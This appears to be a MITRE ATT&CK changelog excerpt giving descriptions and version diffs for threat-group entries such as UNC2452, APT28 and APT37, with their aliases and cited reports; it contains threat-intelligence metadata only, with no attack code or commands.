Description: [UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)
Current version: 1.1
Description: [Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)
Current version: 1.0
Description: [ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)
Current version: 4.0
Version changed from: 3.0 → 4.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2022-03-16 18:08:13.958000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[2]['source_name'] | SNAKEMACKEREL | IRON TWILIGHT |
| external_references[2]['description'] | (Citation: Accenture SNAKEMACKEREL Nov 2018) | (Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017) |
| external_references[3]['source_name'] | Swallowtail | SNAKEMACKEREL |
| external_references[3]['description'] | (Citation: Symantec APT28 Oct 2018) | (Citation: Accenture SNAKEMACKEREL Nov 2018) |
| external_references[4]['source_name'] | Group 74 | Swallowtail |
| external_references[4]['description'] | (Citation: Talos Seduploader Oct 2017) | (Citation: Symantec APT28 Oct 2018) |
| external_references[5]['source_name'] | Sednit | Group 74 |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | (Citation: Talos Seduploader Oct 2017) |
| external_references[6]['source_name'] | Sofacy | Sednit |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[7]['source_name'] | Pawn Storm | Sofacy |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[8]['source_name'] | Fancy Bear | Pawn Storm |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[9]['source_name'] | STRONTIUM | Fancy Bear |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[10]['source_name'] | Tsar Team | STRONTIUM |
| external_references[10]['description'] | (Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[11]['source_name'] | Threat Group-4127 | Tsar Team |
| external_references[11]['description'] | (Citation: SecureWorks TG-4127) | (Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017) |
| external_references[12]['source_name'] | TG-4127 | Threat Group-4127 |
| external_references[13]['source_name'] | NSA/FBI Drovorub August 2020 | TG-4127 |
| external_references[13]['description'] | NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020. | (Citation: SecureWorks TG-4127) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | NSA/FBI Drovorub August 2020 |
| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | DOJ GRU Indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://www.justice.gov/file/1080281/download |
| external_references[17]['source_name'] | FireEye APT28 | Ars Technica GRU indictment Jul 2018 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | Crowdstrike DNC June 2016 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | FireEye APT28 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | SecureWorks TG-4127 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
| external_references[21]['source_name'] | Sofacy DealersChoice | FireEye APT28 January 2017 |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | GRIZZLY STEPPE JAR |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Sofacy DealersChoice |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Palo Alto Sofacy 06-2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | Symantec APT28 Oct 2018 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[26]['source_name'] | Kaspersky Sofacy | ESET Zebrocy May 2019 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[27]['source_name'] | ESET Sednit Part 3 | US District Court Indictment GRU Oct 2018 |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | Kaspersky Sofacy |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | ESET Sednit Part 3 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Talos Seduploader Oct 2017 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | Securelist Sofacy Feb 2018 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Secureworks IRON TWILIGHT Profile |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://www.secureworks.com/research/threat-profiles/iron-twilight |
| x_mitre_version | 3.0 | 4.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | IRON TWILIGHT | |
| external_references | {'source_name': 'Secureworks IRON TWILIGHT Active Measures March 2017', 'description': 'Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.', 'url': 'https://www.secureworks.com/research/iron-twilight-supports-active-measures'} | |
| external_references | {'source_name': 'Accenture SNAKEMACKEREL Nov 2018', 'description': 'Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.', 'url': 'https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50'} | |
| external_references | {'source_name': 'TrendMicro Pawn Storm Dec 2020', 'description': 'Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html'} | |
| external_references | {'source_name': 'Microsoft STRONTIUM Aug 2019', 'description': 'MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.', 'url': 'https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/'} | |
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a suspecte | t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a North Ko |
| > | d North Korean cyber espionage group that has been active si | > | rean state-sponsored cyber espionage group that has been act | ||
| > | nce at least 2012. The group has targeted victims primarily | > | ive since at least 2012. The group has targeted victims prim | ||
| > | in South Korea, but also in Japan, Vietnam, Russia, Nepal, C | > | arily in South Korea, but also in Japan, Vietnam, Russia, Ne | ||
| > | hina, India, Romania, Kuwait, and other parts of the Middle | > | pal, China, India, Romania, Kuwait, and other parts of the M | ||
| > | East. [APT37](https://attack.mitre.org/groups/G0067) has als | > | iddle East. [APT37](https://attack.mitre.org/groups/G0067) h | ||
| > | o been linked to following campaigns between 2016-2018: Oper | > | as also been linked to the following campaigns between 2016- | ||
| > | ation Daybreak, Operation Erebus, Golden Time, Evil New Year | > | 2018: Operation Daybreak, Operation Erebus, Golden Time, Evi | ||
| > | , Are you Happy?, FreeMilk, Northern Korean Human Rights, an | > | l New Year, Are you Happy?, FreeMilk, North Korean Human Rig | ||
| > | d Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Ci | > | hts, and Evil New Year 2018.(Citation: FireEye APT37 Feb 201 | ||
| > | tation: Securelist ScarCruft Jun 2016) (Citation: Talos Grou | > | 8)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos | ||
| > | p123) North Korean group definitions are known to have sign | > | Group123) North Korean group definitions are known to have | ||
| > | ificant overlap, and the name [Lazarus Group](https://attack | > | significant overlap, and some security researchers report al | ||
| > | .mitre.org/groups/G0032) is known to encompass a broad range | > | l North Korean state-sponsored cyber activity under the name | ||
| > | of activity. Some organizations use the name Lazarus Group | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) inst | ||
| > | to refer to any activity attributed to North Korea.(Citation | > | ead of tracking clusters or subgroups. | ||
| > | : US-CERT HIDDEN COBRA June 2017) Some organizations track N | ||||
| > | orth Korean clusters or groups such as Bluenoroff,(Citation: | ||||
| > | Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https:/ | ||||
| > | /attack.mitre.org/groups/G0067), and [APT38](https://attack. | ||||
| > | mitre.org/groups/G0082) separately, while other organization | ||||
| > | s may track some activity associated with those group names | ||||
| > | by the name Lazarus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf | |
| external_references | https://securelist.com/operation-daybreak/75100/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:55:20.925000+00:00 | 2021-10-15 16:54:01.193000+00:00 |
| description | [APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns 